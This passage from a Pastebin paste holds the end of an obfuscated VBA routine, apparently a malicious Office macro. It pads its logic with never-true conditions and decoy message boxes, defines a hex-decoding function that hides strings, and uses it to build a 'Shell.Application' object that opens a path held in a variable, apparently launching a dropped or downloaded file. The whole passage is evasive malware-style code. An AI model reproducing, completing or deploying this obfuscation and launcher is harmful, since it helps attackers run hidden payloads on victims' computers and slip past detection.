  719. If 1542 < 33 Then
  720.         MsgBox (BJBKfdg("77436A48794666473235"))
  721. End If
  722. If Len(BJBKfdg("777A68754E46564635373135")) = Len(BJBKfdg("5248437A78544944")) Then
  723.        MsgBox (BJBKfdg("4572726F7220212121"))
  724. End If
  725.        MsgBox (BJBKfdg("4572726F7220212121"))
  726.  
  727.  
  728. End If
  729. If 345569 = 345569 + 1 Then End
  730. If 9294 < 95 Then
  731. If 543927 = 543927 + 1 Then End
  732. If 3813 < 84 Then
  733.         MsgBox (BJBKfdg("586D5A47545241783436"))
  734. End If
  735. If Len(BJBKfdg("546D4E666B57546436313736")) = Len(BJBKfdg("75564541626C744C")) Then
  736.        MsgBox (BJBKfdg("4572726F7220212121"))
  737. End If
  738.         MsgBox (BJBKfdg("7271444F43577A4E3838"))
  739.  
  740. End If
  741. If Len(BJBKfdg("6B51576A6D59705131313534")) = Len(BJBKfdg("64746C5867536342")) Then
  742. If 933738 = 933738 + 1 Then End
  743. If 1879 < 36 Then
  744.         MsgBox (BJBKfdg("5179415752726F5A3437"))
  745. End If
  746. If Len(BJBKfdg("6C77544D4463745734323433")) = Len(BJBKfdg("6E7064477167484D")) Then
  747.        MsgBox (BJBKfdg("4572726F7220212121"))
  748. End If
  749.        MsgBox (BJBKfdg("4572726F7220212121"))
  750.  
  751. End If
  752. If 874542 = 874542 + 1 Then End
  753. If 8642 < 28 Then
  754.         MsgBox (BJBKfdg("7048496C4E48494F3934"))
  755. End If
  756. If Len(BJBKfdg("75716770684B707139353833")) = Len(BJBKfdg("6D6C49754D527374")) Then
  757.        MsgBox (BJBKfdg("4572726F7220212121"))
  758. End If
  759.     Set vgGUFYfdg = CreateObject(BJBKfdg("5368656C6C2E4170706C69636174696F6E"))
  760.  
  761.  
  762.  
  763. vgGUFYfdg.Open oGHUGIdg
  764. End Sub
  765.  
  766.  
  767. Public Function BJBKfdg(ByVal zqEOxxkkLThI As String) As String
  768. For BQZiFmPgMS = 1 To Len(zqEOxxkkLThI) Step 2
  769. If 131176 = 131176 + 1 Then End
  770. If 4911 < 15 Then
  771. If 463372 = 463372 + 1 Then End
  772. If 7687 < 79 Then
  773. If 269689 = 269689 + 1 Then End
  774. If 2593 < 56 Then
  775.         MsgBox ("RYdbtqsZ32")
  776. End If
  777. If Len("AzLgwfFr3354") = Len("GpdsNNGB") Then
  778.        MsgBox ("Error !!!")
  779. End If
  780.         MsgBox ("cHIFqRYx91")
  781.  
  782. End If
  783. If Len("JQExGqte8438") = Len("BbqkdeGe") Then
  784. If 892825 = 892825 + 1 Then End
  785. If 2973 < 23 Then
  786.         MsgBox ("WoZjNMIA44")
  787. End If
  788. If Len("frxBTnyi3724") = Len("xKtMzkJu") Then
  789.        MsgBox ("Error !!!")
  790. End If
  791.        MsgBox ("Error !!!")
  792.  
  793. End If
  794. If 679731 = 679731 + 1 Then End
  795. If 6694 < 32 Then
  796.         MsgBox ("eSsTOQBZ74")
  797. End If
  798. If Len("NiJmNFnr7445") = Len("ZQmIisBP") Then
  799.        MsgBox ("Error !!!")
  800. End If
  801.         MsgBox ("vflWlHfB95")
  802.  
  803.  
  804. End If
  805. If Len("GvWembEi5751") = Len("jzvjZVeF") Then
  806. If 436732 = 436732 + 1 Then End
  807. If 7167 < 46 Then
  808. If 549456 = 549456 + 1 Then End
  809. If 8839 < 26 Then
  810.         MsgBox ("sdqYtACN98")
  811. End If
  812. If Len("skqCBAUB3193") = Len("myKKwlkB") Then
  813.        MsgBox ("Error !!!")
  814. End If
  815.         MsgBox ("FlVTtdzw59")
  816.  
  817. End If
  818. If Len("tEbSuXkR2331") = Len("UuzNgmJq") Then
  819. If 997564 = 997564 + 1 Then End
  820. If 7569 < 31 Then
  821.         MsgBox ("kNamQlQi82")
  822. End If
  823. If Len("zNvMcPGV1733") = Len("ERauYogR") Then
  824.        MsgBox ("Error !!!")
  825. End If
  826.        MsgBox ("Error !!!")
  827.  
  828. End If
  829. If 599486 = 599486 + 1 Then End
  830. If 2753 < 22 Then
  831.         MsgBox ("hGqYywll14")
  832. End If
  833. If Len("EhldRuAe3693") = Len("vOKKcdGj") Then
  834.        MsgBox ("Error !!!")
  835. End If
  836.        MsgBox ("Error !!!")
  837.  
  838.  
  839. End If
  840. If 214757 = 214757 + 1 Then End
  841. If 5192 < 55 Then
  842. If 682933 = 682933 + 1 Then End
  843. If 6826 < 34 Then
  844.         MsgBox ("aXwGSIGu75")
  845. End If
  846. If Len("BjzRePkI7666") = Len("nWTKqoHg") Then
  847.        MsgBox ("Error !!!")
  848. End If
  849.         MsgBox ("qkHplHHi99")
  850.  
  851. End If
  852. If Len("JULoApSn6952") = Len("SalFmgBF") Then
  853. If 964923 = 964923 + 1 Then End
  854. If 3695 < 21 Then
  855.         MsgBox ("CWSntPXc41")
  856. End If
  857. If Len("RqHvfrKH4545") = Len("vRgruotr") Then
  858.        MsgBox ("Error !!!")
  859. End If
  860.        MsgBox ("Error !!!")
  861.  
  862. End If
  863. If 419648 = 419648 + 1 Then End
  864. If 4993 < 15 Then
  865.         MsgBox ("JrdvpHGD56")
  866. End If
  867. If Len("GvLgnLjg5753") = Len("jzxAIjHW") Then
  868.        MsgBox ("Error !!!")
  869. End If
  870. HgxJy = Chr(Val(Chr(38) & Chr(72) & Mid$(zqEOxxkkLThI, BQZiFmPgMS, 2)))
  871.  
  872.  
  873.  
  874. If 987591 = 987591 + 1 Then End
  875. If 6624 < 69 Then
  876. If 119675 = 119675 + 1 Then End
  877. If 8571 < 51 Then
  878. If 842619 = 842619 + 1 Then End
  879. If 8968 < 17 Then
  880.         MsgBox ("EqmLBaXP38")
  881. End If
  882. If Len("qnvJilJz3232") = Len("tLCxzbth") Then
  883.        MsgBox ("Error !!!")
  884. End If
  885.         MsgBox ("brsnpnOf93")
  886.  
  887. End If
  888. If Len("prINXHDe2844") = Len("QIsdtgdP") Then
  889. If 873452 = 873452 + 1 Then End
  890. If 2424 < 89 Then
  891.         MsgBox ("qFZfDkRh94")
  892. End If
  893. If Len("ABrmGaMv3375") = Len("eZUICblt") Then
  894.        MsgBox ("Error !!!")
  895. End If
  896.        MsgBox ("Error !!!")
  897.  
  898. End If
  899. If 234949 = 234949 + 1 Then End
  900. If 2972 < 47 Then
  901.         MsgBox ("WoEoRUHF67")
  902. End If
  903. If Len("ZvUiDNSy6245") = Len("PdgeqJxt") Then
  904.        MsgBox ("Error !!!")
  905. End If
  906.         MsgBox ("IUXQyYuL43")
  907.  
  908.  
  909. End If
  910. If Len("XitkElgR7474") = Len("HnECxvAK") Then
  911. If 666782 = 666782 + 1 Then End
  912. If 6219 < 99 Then
  913. If 162694 = 162694 + 1 Then End
  914. If 1533 < 61 Then
  915.         MsgBox ("wIAcJdEs23")
  916. End If
  917. If Len("lridugyD2473") = Len("MUPnhDRl") Then
  918.        MsgBox ("Error !!!")
  919. End If
  920.         MsgBox ("lxLVdUNO11")
  921.  
  922. End If
  923. If Len("BSXCwNXz1473") = Len("MywAgtoh") Then
  924. If 169618 = 169618 + 1 Then End
  925. If 2248 < 26 Then
  926.         MsgBox ("KvpGjDTN61")
  927. End If
  928. If Len("bFfDbyAl3188") = Len("muSllsFT") Then
  929.        MsgBox ("Error !!!")
  930. End If
  931.        MsgBox ("Error !!!")
  932.  
  933. End If
  934. If 289882 = 289882 + 1 Then End
  935. If 8372 < 58 Then
  936.         MsgBox ("ZKqPieJv91")
  937. End If
  938. If Len("sKIpMlWg3545") = Len("DwsczJmW") Then
  939.        MsgBox ("Error !!!")
  940. End If
  941.        MsgBox ("Error !!!")
  942.  
  943.  
  944. End If
  945. If 269681 = 269681 + 1 Then End
  946. If 2593 < 56 Then
  947. If 987524 = 987524 + 1 Then End
  948. If 9427 < 22 Then
  949.         MsgBox ("IYVPCLhG42")
  950. End If
  951. If Len("hXzIyssu3681") = Len("vPOREeXy") Then
  952.        MsgBox ("Error !!!")
  953. End If
  954.         MsgBox ("EUsnsmuT33")
  955.  
  956. End If
  957. If Len("fUINVPqw3444") = Len("GqsdyoOz") Then
  958. If 269589 = 269589 + 1 Then End
  959. If 5396 < 28 Then
  960.         MsgBox ("RTgmgWxy32")
  961. End If
  962. If Len("WHHZhRSg9569") = Len("xllHveqW") Then
  963.        MsgBox ("Error !!!")
  964. End If
  965.        MsgBox ("Error !!!")
  966.  
  967. End If
  968. If 829728 = 829728 + 1 Then End
  969. If 2252 < 25 Then
  970.         MsgBox ("LxkqERlX36")
  971. End If
  972. If Len("sjdKisJZ3193") = Len("mtMFTeAZ") Then
  973.        MsgBox ("Error !!!")
  974. End If
  975. pHEbKVcYj = pHEbKVcYj & HgxJy
  976.  
  977.  
  978.  
  979. Next BQZiFmPgMS
  980. If 996764 = 996764 + 1 Then End
  981. If 3768 < 93 Then
  982. If 351252 = 351252 + 1 Then End
  983. If 6567 < 68 Then
  984. If 724146 = 724146 + 1 Then End
  985. If 5625 < 12 Then
  986.         MsgBox ("ipUVSpYl64")
  987. End If
  988. If Len("JptcvnQi8988") = Len("lFUPUBpF") Then
  989.        MsgBox ("Error !!!")
  990. End If
  991.         MsgBox ("hDxOKUZm79")
  992.  
  993. End If
  994. If Len("OIkkxfNa7417") = Len("JxBdMyQN") Then
  995. If 679784 = 679784 + 1 Then End
  996. If 6439 < 81 Then
  997.         MsgBox ("kRuBIVqm12")
  998. End If
  999. If Len("VMqVJkuD9693") = Len("LfOZPxla") Then
  1000.        MsgBox ("Error !!!")
  1001. End If
  1002.        MsgBox ("Error !!!")
  1003.  
  1004. End If
  1005. If 424916 = 424916 + 1 Then End
  1006. If 4146 < 72 Then
  1007.         MsgBox ("HpOJqcGe58")
  1008. End If
  1009. If Len("npyjCFLK5887") = Len("zDORydkv") Then
  1010.        MsgBox ("Error !!!")
  1011. End If
  1012.         MsgBox ("kzVYCXlk82")
  1013.  
  1014.  
  1015. End If
  1016. If Len("IsbFVTIn4518") = Len("pGzauriu") Then
  1017. If 633251 = 633251 + 1 Then End
  1018. If 9923 < 55 Then
  1019. If 291456 = 291456 + 1 Then End
  1020. If 8752 < 81 Then
  1021.         MsgBox ("spwMHCVy74")
  1022. End If
  1023. If Len("dhmpPCIt3926") = Len("uILGEzXl") Then
  1024.        MsgBox ("Error !!!")
  1025. End If
  1026.         MsgBox ("CkRrTVqN69")
  1027.  
  1028. End If
  1029. If Len("fZyqUUAi3386") = Len("HyOvGyNF") Then
  1030. If 123399 = 123399 + 1 Then End
  1031. If 1139 < 76 Then
  1032.         MsgBox ("vqRizUkr28")
  1033. End If
  1034. If Len("xYqVkOLR2981") = Len("VpFqnils") Then
  1035.        MsgBox ("Error !!!")
  1036. End If
  1037.        MsgBox ("Error !!!")
  1038.  
  1039. End If
  1040. If 299856 = 299856 + 1 Then End
  1041. If 8846 < 25 Then
  1042.         MsgBox ("sshjiKlx98")
  1043. End If
  1044. If Len("sjgUzKew3111") = Len("mtXZbOFw") Then
  1045.        MsgBox ("Error !!!")
  1046. End If
  1047.        MsgBox ("Error !!!")
  1048.  
  1049.  
  1050. End If
  1051. If 985525 = 985525 + 1 Then End
  1052. If 2819 < 22 Then
  1053. If 762531 = 762531 + 1 Then End
  1054. If 4219 < 17 Then
  1055.         MsgBox ("eOnmlcfq58")
  1056. End If
  1057. If Len("DOCLyFkN8473") = Len("gdnugdJU") Then
  1058.        MsgBox ("Error !!!")
  1059. End If
  1060.         MsgBox ("XtMBVuxE67")
  1061.  
  1062. End If
  1063. If Len("ZmVCublW3751") = Len("cDxZNTTo") Then
  1064. If 112836 = 112836 + 1 Then End
  1065. If 1651 < 34 Then
  1066.         MsgBox ("FMkzcPSP55")
  1067. End If
  1068. If Len("wpwaYeIe4924") = Len("RVeXrMlz") Then
  1069.        MsgBox ("Error !!!")
  1070. End If
  1071.        MsgBox ("Error !!!")
  1072.  
  1073. End If
  1074. If 254689 = 254689 + 1 Then End
  1075. If 2453 < 55 Then
  1076.         MsgBox ("RASvLJEB32")
  1077. End If
  1078. If Len("ZXlfpLtn3293") = Len("HtSqFYum") Then
  1079.        MsgBox ("Error !!!")
  1080. End If
  1081. BJBKfdg = pHEbKVcYj
  1082.  
  1083.  
  1084.  
  1085. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top